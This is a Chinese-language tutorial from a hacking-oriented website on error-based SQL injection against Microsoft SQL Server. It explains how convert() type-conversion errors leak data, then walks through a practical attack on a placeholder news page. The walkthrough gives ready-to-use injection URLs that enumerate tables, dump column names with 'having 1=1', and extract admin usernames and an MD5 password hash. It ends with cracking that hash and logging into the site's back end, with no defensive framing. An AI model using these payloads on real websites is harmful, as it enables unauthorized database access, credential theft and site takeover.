- Rongsen.Com.Cn 版权所有 2008-2010 京ICP备08007000号 京公海网安备11010802026356号 朝阳网安编号:110105199号
- 北京黑客防线网安工作室-黑客防线网安服务器维护基地为您提供专业的
服务器维护
,企业网站维护
,网站维护
服务 - (建议采用1024×768分辨率,以达到最佳视觉效果) Powered by 黑客防线网安 ©2009-2010 www.rongsen.com.cn
作者:黑客防线网安网站维护基地 来源:黑客防线网安网站维护基地 浏览次数:0 |
进入正题,下面来说说我对显错模式原理。这次主要说的出错是数据转换出错,就是通过数据转换让数据发生溢出来完成的动作。
大家应该都听说数据类型,比如int,char,等等。。。当我们定义好一个数据时,也就定义好了一个数据的长度,比如,int 型是4个字节的长度,如果一个数据超过了4个字节的长度的话,该数据就会发生溢出而失去准确性,从而编译软件会显示出错信息。
在数据转换时有个规则,就是短的可以转换成长的,但是长的不能转换成短的,什么意思呢,就是比如数据库中有整型数据tinyint(一个字节长 度)、smallint(两个字节长度)、int(四个字节长度),tinyint可以向上转化成smallint、int而不会出错,但是不能反向转化 把int转化为smallint和tinyint,否则会发生数据溢出。为啥呢,这个应该很容易理解,一个数据本来是4个字节长度的,转换成2个字节长度 的数据类型的话,这个2个字节的空间就装不下了,数据就丢失了,同理,反过来就可以了,2个字节的数据可以换到4个字节的空间里,数据是不会丢失出错的。
我在使用这个方法时用到下面两个函数
数据转换函数
convert(数据类型,表达式(就是要转换的对象))
cast(表达式 as 数据类型)
在注入时我们要用到的语句:
因为光是用group by 和having 不能完成我们的检测过程,所以我们要配合其他系统函数的查表功能,因为上面必须要知道表名才能利用
第一种函数
select name from sysobjects where xtype='u' 通过这个来爆第一个表
select name from sysobjects where xtype='u' and name not in('爆出来的表1','爆出来的表2'...)
一直爆下去,直到找到我们所需要的表位置
第二种函数
select table_name from information_schema.tables
select table_name from information_schema.tables where table_name not in ('爆出来的表1','爆出来的表2'...)。
实战练习
目标 http://www.xxx.com/shownews.aspx?id=3
首先拿个到一个注入点,我们要判断是什么类型的数据库mssql还是access或者其他。
一、我们提交
http://www.xxx.com/shownews.aspx?id=3 and user>0
我们得到用户名是:Jxb_Ojc_Zj_Cn
二、我们提交
http://www.xxx.com/shownews.aspx?id=3 and db_name()>0
得到数据库也是:Jxb_Ojc_Zj_Cn
三、继续提交
http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 name from sysobjects where xtype=’u’ and status>0))
根据返回的结果,应该不是我们要的表
四、接着提交(这中间省了好多步相同操作,直到发现很有可能存放用户名的表)
http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 name from sysobjects where xtype=’u’ and status>0 and name not in ('FM_Page_Class’, 'D99_Tmp', 'D99_CMD')))
哈哈,之前有人用啊D检测过。。。
五、确定了表明之后,我们来利用having 1=1 来爆出表里的列明
提交 http://www.xxx.com/shownews.aspx?id=3 select * from FM_admin having 1=1
爆出了所有的列名,哈哈,不过一般情况下是只爆出一个列,那就要用到group by了。
六、整理下我们手上的资料,我们得到了表和列,那我们就要开始爆它字段的内容了
提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 adminname from fm_admin))
爆出了用户名:admin
接着提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 password from fm_admin))
爆出了密码:BD2C2**********BF2F4284BFDA1
当然,还有其他密码,我们可以加一个限制条件来爆出其他用户名和密码,
分别提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 adminname from fm_admin where username not in (‘admin’)))
http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 password from fm_admin where adminname not in (‘admin’)))
当然,这个where的限制条件可以自己变通下加,这个就看大家怎么想了,哈。
接下来其他的用户名和密码我就不爆了,还有很多个用户名和密码,方法同上,重复操作。
七、拿用户名和密码进后台
拿着爆出来的md5加密的密码去破解下,运气好,第一个密码就解了
然后就是拿密码进后台了。
我要申请本站:N点 | 黑客防线官网 | |
专业服务器维护及网站维护手工安全搭建环境,网站安全加固服务。黑客防线网安服务器维护基地招商进行中!QQ:29769479 |